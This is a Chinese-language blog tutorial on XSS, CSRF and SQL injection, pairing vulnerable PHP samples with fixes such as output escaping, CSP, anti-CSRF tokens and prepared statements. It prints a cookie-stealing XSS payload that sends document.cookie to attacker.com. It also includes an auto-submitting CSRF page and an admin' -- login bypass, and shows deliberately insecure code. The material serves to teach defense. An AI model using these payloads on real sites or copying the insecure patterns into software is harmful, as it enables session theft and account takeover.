欢迎光临
我们一直在努力

Web 应用常见漏洞(XSS/CSRF/SQL注入)原理与防御

前言

在 Web 开发中,安全问题常常被忽视,但一旦被利用,轻则数据泄露,重则系统沦陷。本文将通过真实可复现的代码示例,带你深入理解三种最经典的 Web 漏洞:XSS(跨站脚本攻击)、CSRF(跨站请求伪造)和 SQL 注入,并提供完整的防御方案。所有代码均可本地运行测试(请仅用于学习目的!)。

声明:本文所有攻击代码仅用于教学演示,请勿用于非法用途。


一、XSS(Cross-Site Scripting)跨站脚本攻击

1.1 漏洞原理

XSS 是攻击者向网页中注入恶意 JavaScript 脚本,当其他用户浏览该页面时,脚本自动执行,从而窃取 Cookie、会话令牌或进行钓鱼。

1.2 实战:反射型 XSS 示例

存在漏洞的 PHP 代码(vuln_xss.php):

<!— vuln_xss.php —>
<!DOCTYPE html>
<html>
<head><title>XSS Demo</title></head>
<body>
<h2>欢迎,<?php echo $_GET['name']; ?>!</h2>
</body>
</html>

攻击方式:

访问如下 URL:

http://localhost/vuln_xss.php?name=<script>alert('XSS!')</script>

浏览器会弹出警告框 —— 脚本成功执行!

更危险的攻击(窃取 Cookie):

http://localhost/vuln_xss.php?name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

1.3 防御方案:输入转义 + CSP

修复后的代码(safe_xss.php):

<!— safe_xss.php —>
<!DOCTYPE html>
<html>
<head>
<title>Safe XSS Demo</title>
<!— 启用内容安全策略(CSP) —>
<meta http–equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self';">
</head>
<body>
<h2>欢迎,<?php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); ?>!</h2>
</body>
</html>

关键点:

  • 使用 htmlspecialchars() 对输出进行 HTML 转义。
  • 添加 CSP 头限制脚本来源。

二、CSRF(Cross-Site Request Forgery)跨站请求伪造

2.1 漏洞原理

攻击者诱导用户点击恶意链接或访问恶意网站,在用户已登录目标网站的情况下,自动发起非用户本意的请求(如转账、改密码)。

2.2 实战:模拟 CSRF 攻击

假设有一个修改邮箱的接口(无防护):

存在漏洞的后端(change_email.php):

<?php
session_start();
if ($_POST['email']) {
// 直接更新数据库(无验证来源)
$email = $_POST['email'];
// 此处省略数据库操作
echo "邮箱已更新为: " . $email;
}
?>

恶意页面(csrf_attack.html):

<!– csrf_attack.html –>
<!DOCTYPE html>
<html>
<body>
<h1>免费领红包!</h1>
<img src="2026-06-01joxrgq4oyyd.jpg" width="0" height="0"
onload="document.forms[0].submit()" />

<form action="http://localhost/change_email.php" method="POST">
<input type="hidden" name="email" value="hacker@evil.com" />
</form>
</body>
</html>

用户只要访问此页面且已登录目标网站,邮箱就会被悄悄修改!

2.3 防御方案:Anti-CSRF Token

修复后的流程:
  • 服务端生成随机 Token,存入 Session 并嵌入表单。
  • 提交时校验 Token 是否匹配。
  • 安全版前端(safe_form.php):

    <?php
    session_start();
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    ?>
    <form method="POST" action="change_email_safe.php">
    邮箱:<input type="email" name="email" required>
    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
    <button type="submit">提交</button>
    </form>

    安全版后端(change_email_safe.php):

    <?php
    session_start();
    if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF 验证失败!");
    }
    // 继续处理…
    echo "邮箱更新成功!";
    ?>

    关键点:

    • 每次表单生成唯一 Token。
    • 敏感操作必须校验 Token。

    三、SQL 注入(SQL Injection)

    3.1 漏洞原理

    攻击者通过构造恶意 SQL 片段,绕过应用逻辑,直接操作数据库(如绕过登录、读取敏感数据)。

    3.2 实战:登录绕过

    存在漏洞的登录代码(vuln_login.php):

    <?php
    $username = $_POST['username'];
    $password = $_POST['password'];

    // 危险!直接拼接 SQL
    $sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
    $result = mysqli_query($conn, $sql);

    if (mysqli_num_rows($result) > 0) {
    echo "登录成功!";
    } else {
    echo "用户名或密码错误";
    }
    ?>

    攻击方式:

    在用户名输入框输入:

    admin' —

    密码任意(如 123)。

    生成的 SQL 为:

    SELECT * FROM users WHERE username='admin' –' AND password='123'

    — 注释掉后面部分,等价于只验证用户名为 admin,无需密码即可登录!

    3.3 防御方案:预编译语句(Prepared Statements)

    使用 PDO 的安全写法:

    <?php
    $username = $_POST['username'];
    $password = $_POST['password'];

    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
    $stmt->execute([$username, $password]);

    if ($stmt->rowCount() > 0) {
    echo "登录成功!";
    } else {
    echo "用户名或密码错误";
    }
    ?>

    关键点:

    • 永远不要拼接 SQL 字符串!
    • 使用 PDO 或 MySQLi 的预编译功能。
    • 密码应使用 password_hash() 加密存储,而非明文。

    四、总结与最佳实践

    漏洞类型核心风险防御手段
    XSS 执行恶意脚本 输出转义 + CSP
    CSRF 伪造用户请求 Anti-CSRF Token + SameSite Cookie
    SQL 注入 操纵数据库 预编译语句 + 输入验证

    安全开发 Checklist:

    • 所有用户输入都视为“不可信”
    • 输出到 HTML 前必须转义
    • 敏感操作必须二次验证(Token / 验证码)
    • 数据库查询一律使用参数化
    • 定期使用工具扫描(如 OWASP ZAP、Burp Suite)

    五、附录:本地测试环境搭建建议

    • 使用 XAMPP / WAMP 快速搭建 PHP 环境
    • 浏览器开启开发者工具观察网络请求
    • 使用 PortSwigger Web Security Academy 进行更多练习

    如果你觉得本文对你有帮助,欢迎点赞、收藏、转发!也欢迎在评论区讨论你遇到的安全问题~

    赞(0)
    未经允许不得转载:171主机测评 » Web 应用常见漏洞(XSS/CSRF/SQL注入)原理与防御
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址